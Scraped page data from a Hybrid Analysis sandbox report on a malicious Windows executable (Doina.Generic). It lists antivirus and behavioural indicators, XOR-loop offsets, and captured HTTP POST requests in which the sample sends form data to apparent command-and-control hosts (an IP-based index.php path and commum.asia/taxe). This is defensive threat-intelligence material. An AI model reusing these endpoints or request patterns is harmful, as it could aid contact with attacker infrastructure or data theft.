24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 69:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Doina.Generic Sample c36ed034d523… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c36ed034d523…. Malware family: Doina.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 21 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","keywords":["Malicious","Doina.Generic","malware analysis","sandbox report","threat intelligence","c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45"],"about":{"@type":"SoftwareApplication","name":"bounty-38813904328784694","applicationCategory":["peexe","executable"],"identifier":"c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Doina.Generic","antivirusDetections":{"malicious":20,"total":27},"behavioralIndicators":{"malicious":21,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T46a,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "bounty-38813904328784694") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "bounty-38813904328784694") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "bounty-38813904328784694") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "bounty-38813904328784694") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "bounty-38813904328784694") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "bounty-38813904328784694") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp")26:T726,Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-87-00436704 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-87-00436704 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-113-0043E4A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-113-0043E4A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-503-0042F31C Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-503-0042F31C Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-1826-004282E6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-1826-004282E6 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-1936-00426B78 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-1957-00428236 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2008-00431575 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2008-00431575 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2009-0043AC93 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2009-0043AC93 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2016-0043DE32 Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2016-0043DE32 Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2028-0043E21E Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2028-0043E21E Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2077-0044104B Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2077-0044104B Assembly shows XOR instruction xor eax ebp in Stream UID: 45662-2079-0044129E Assembly shows XOR instruction xor ecx ebp in Stream UID: 45662-2079-0044129E Assembly shows XOR instruction xor ecx esp in Stream UID: 45662-2931-0040835E27:T3537,Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /di9ku38f/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 94.154.35.25Content-Length: 32Cache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /romalabs4 HTTP/1.1Connection: Keep-AliveHost: t.me" Contains base64 string in header "POST" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "Keep" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "AliveContent" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "Type" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "form" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "like" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "5414" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "asia" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 61Host: commum.asia" Contains base64 string in header "POST" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "Keep" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "AliveContent" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "Type" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "data" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "like" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "5414" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "1839Host" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "asia" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=W6jv6IE1lv3WAjKnOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1839Host: commum.asia" Contains base64 string in header "POST" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "Keep" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "AliveContent" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "Type" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "data" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "6xOErzf8KpWA6WWEUser" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "like" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "5414" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "1095Host" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "asia" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6xOErzf8KpWA6WWEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 1095Host: commum.asia" Contains base64 string in header "POST" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "Keep" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "AliveContent" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "Type" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "form" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "like" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "5414" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia" Contains base64 string in header "asia" in header "POST /taxe HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.85 Safari/537.36Content-Length: 99Host: commum.asia"28:Tbfb2,Found XOR loop in file "adc663ab13.exe" at offset 4802; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 6750; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 7070; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 7352; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 10190; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 11740; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 12938; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 13253; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 14809; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 16675; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 16830; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 17225; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 17758; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 18582; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 18875; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 19467; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 22003; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 22429; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 23201; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 23421; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 24624; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 24747; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 24912; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 25189; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 25626; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 27896; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 28973; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 29278; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 34037; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 39668; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 39742; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 40982; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 41580; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 42257; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 42566; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 43290; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 44767; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 45408; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 47223; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 47783; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 48633; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 50291; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 52502; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 53042; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 53078; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 53448; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 53752; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 53805; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 54572; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 54587; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 55719; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 56643; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 57536; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 58058; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 58420; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 58996; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 59456; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 62563; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 63865; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 66549; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 66564; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 68885; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 69272; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 69669; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 69701; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 70579; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 72580; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 73005; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 73337; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 73521; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 73581; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 73649; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 75061; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 75704; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 76552; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 76574; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 77464; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 79906; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 80757; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 81101; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 81448; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 81566; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 82102; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 82410; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 84005; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 84273; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 84663; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 85347; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 85753; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 86176; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 86191; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 86259; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 86885; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 88532; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 88898; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 89297; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 89374; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 89735; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 89755; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 89795; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 90654; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 91840; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 92086; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 92108; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 93655; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 95114; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 95580; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 98932; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 99988; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 100555; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 101313; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 101921; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 102189; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 103188; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 103650; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 103675; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 103695; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 104842; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 105193; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 107057; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 108177; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 109569; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 111027; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 111042; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 112531; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 113279; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 113584; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 115350; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 116063; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 119487; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 122550; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 124598; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 124895; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 125805; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 127290; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 127333; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 127520; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 130813; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 133048; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 134560; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 136674; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 138706; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 138955; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 139207; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 139712; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 139987; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 140257; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 140280; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 141328; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 141573; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 146512; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 153278; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 153969; code bytes = 30d0 Found XOR loop in file "adc663ab13.exe" at offset 161438; code bytes = 30d0 Found XOR 